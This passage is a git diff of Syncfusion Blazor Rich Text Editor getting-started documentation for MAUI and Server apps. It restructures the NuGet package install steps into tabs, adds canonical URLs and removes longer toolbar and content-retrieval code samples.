-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RichTextEditor).
 
 ## See also
 
diff --git a/blazor/rich-text-editor/getting-started-with-maui-app.md b/blazor/rich-text-editor/getting-started-with-maui-app.md
index 9fde38a7f8..902bb258a1 100644
--- a/blazor/rich-text-editor/getting-started-with-maui-app.md
+++ b/blazor/rich-text-editor/getting-started-with-maui-app.md
@@ -1,6 +1,7 @@
 ---
 layout: post
 title: Getting Started with Rich Text Editor | Blazor MAUI App | Syncfusion
+canonical_url : "https://blazor.syncfusion.com/documentation/rich-text-editor/getting-started-with-maui-app"
 description: Checkout and learn about the documentation for getting started with Blazor Rich Text Editor Component in Blazor MAUI App.
 platform: Blazor
 control: RichTextEditor
@@ -9,7 +10,7 @@ documentation: ug
 
 # Getting Started with Blazor Rich Text Editor
 
-This section provides a step-by-step guide to integrating the Syncfusion® Blazor Rich Text Editor component into your Blazor Maui app using both Visual Studio and Visual Studio Code.
+This section provides a step-by-step guide to integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich TextEditor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) component in your Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -19,64 +20,104 @@ This section provides a step-by-step guide to integrating the Syncfusion® Blazo
 
 ## Prerequisites
 
-To use the MAUI project templates, install the Mobile development with .NET extension for Visual Studio. For more details, refer to [Visual Studio](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-Create a Blazor MAUI app in Visual Studio using [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [ Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor and Themes NuGet in the app
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+## Prerequisites
+
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio Code. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
+
+## Create a new Blazor MAUI App in Visual Studio Code
+
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-To add the **Blazor Rich Text Editor** component, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the list of available packages and component details.
-
 {% endtabcontent %}
 
-{% tabcontent Visual Studio Code %}
+{% endtabcontents %}
 
-## Prerequisites
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-To use the MAUI project templates, install the Mobile development with .NET workload. For more details, see the .NET MAUI installation guide for [Visual Studio Code](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
+Install the following NuGet packages in your project:
 
-## Create a new Blazor MAUI App in Visual Studio Code
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
 
-Create a Blazor MAUI app using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, see the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+You can install these packages using different methods as shown below:
 
-## Install Blazor Rich Text Editor and Themes NuGet in the App
+{% tabcontents %}
 
-To add the **Blazor Rich Text Editor** component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+{% tabcontent Visual Studio %}
 
-{% tabs %}
+1. In Visual Studio Navigate to:
 
-{% highlight c# tabtitle="Package Manager" %}
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
 
-dotnet add package Syncfusion.Blazor.RichTextEditor -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+{% endtabcontent %}
 
-{% endhighlight %}
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
+{% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
 
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.RichTextEditor` namespaces.
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.RichTextEditor` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -87,67 +128,52 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
 Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor RichTextEditor Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.RichTextEditor/scripts/sf-richtexteditor.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor Rich Text Editor component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
@@ -158,13 +184,13 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
 ![Blazor Rich Text Editor Component](./images/blazor-richtexteditor-maui-app.png)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
 To run the Blazor Rich Text Editor in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
@@ -174,231 +200,6 @@ N> If you encounter any errors while using the Android Emulator, refer to the [T
 
 ![Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)
 
-## Configure the Toolbar
-
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-    <p><b> Key features:</b></p>
-    <ul>
-        <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-        <li><p> Capable of handling markdown editing.</p></li>
-        <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-        <li><p> Provides a fully customizable toolbar.</p></li>
-        <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-        <li><p> Supports third - party library integration.</p></li>
-        <li><p> Allows preview of modified content before saving it.</p></li>
-    </ul>
-</SfRichTextEditor>
-
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
-        new ToolbarItemModel() { Command = ToolbarCommand.Print },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor Rich Text Editor with Toolbar](./images/blazor-richtexteditor-toolbar.png)
-
-## Insert images and links
-
-The **Image** tool inserts an image into the Rich Text Editor content area, and the **Link** tool applies hyperlinks  such as website URLs to the selected text.
-
-Specify quick toolbar items for target elements such as images, links, and tables. The quick toolbar opens when clicking the target element, allowing customization of that element.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <RichTextEditorQuickToolbarSettings Image="@Image" Link="@Link" />
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-    <p><b>Get started Quick Toolbar to click on the image</b></p>
-    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-    <img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />
-</SfRichTextEditor>
-
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-    private List<ImageToolbarItemModel> Image = new List<ImageToolbarItemModel>()
-    {
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Replace },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Align },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Caption },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Remove },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.OpenImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.HorizontalSeparator },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.EditImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.RemoveImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Display },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.AltText },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Dimension }
-    };
-    private List<LinkToolbarItemModel> Link = new List<LinkToolbarItemModel>()
-    {
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Open },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Edit },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.UnLink }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-![Blazor Rich Text Editor with Image](./images/blazor-richtexteditor-image.png)
-
-## Retrieve the formatted content
-
-To retrieve the editor contents in HTML format, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of Rich Text Editor. To fetch the editor content as plain text, use the [GetText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetTextAsync) method of Rich Text Editor.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-<SfButton @onclick="@GetText">Get Text</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task GetText()
-    {
-        this.Content = await this.RteObj.GetTextAsync();
-        this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Retrieve the number of characters
-
-To retrieve the maximum number of characters in the Rich Text Editor, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
 ## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](../getting-started/blazor-webassembly-dotnet-cli)
@@ -413,4 +214,4 @@ To retrieve the maximum number of characters in the Rich Text Editor, use the [G
 
 * [Keyboard support in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/keyboard-support)
 
-* [Globalization in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/globalization)
\ No newline at end of file
+* [Globalization in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/globalization)
diff --git a/blazor/rich-text-editor/getting-started-with-server-app.md b/blazor/rich-text-editor/getting-started-with-server-app.md
index 6b1e38020f..ea3efad7de 100644
--- a/blazor/rich-text-editor/getting-started-with-server-app.md
+++ b/blazor/rich-text-editor/getting-started-with-server-app.md
@@ -1,6 +1,7 @@
 ---
 layout: post
 title: Getting Started with Blazor Rich Text Editor Component | Syncfusion
+canonical_url: "https://blazor.syncfusion.com/documentation/rich-text-editor/getting-started-with-server-app"
 description: Checkout and learn about getting started with Blazor Rich Text Editor component in Blazor Server Application.
 platform: Blazor
 control: RichTextEditor
@@ -87,12 +88,34 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the following NuGet packages in your project:
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
@@ -100,6 +123,29 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
@@ -152,260 +198,24 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor
 N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveServer
-
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.RichTextEditor
-
-<SfRichTextEditor>
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-    <p><b>Get started Quick Toolbar to click on the image</b></p>
-    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-</SfRichTextEditor>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component in your default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhfZMqXAUqtaOyK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)" %}
-
-## Configure the Toolbar
-
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.RichTextEditor
-
-<SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
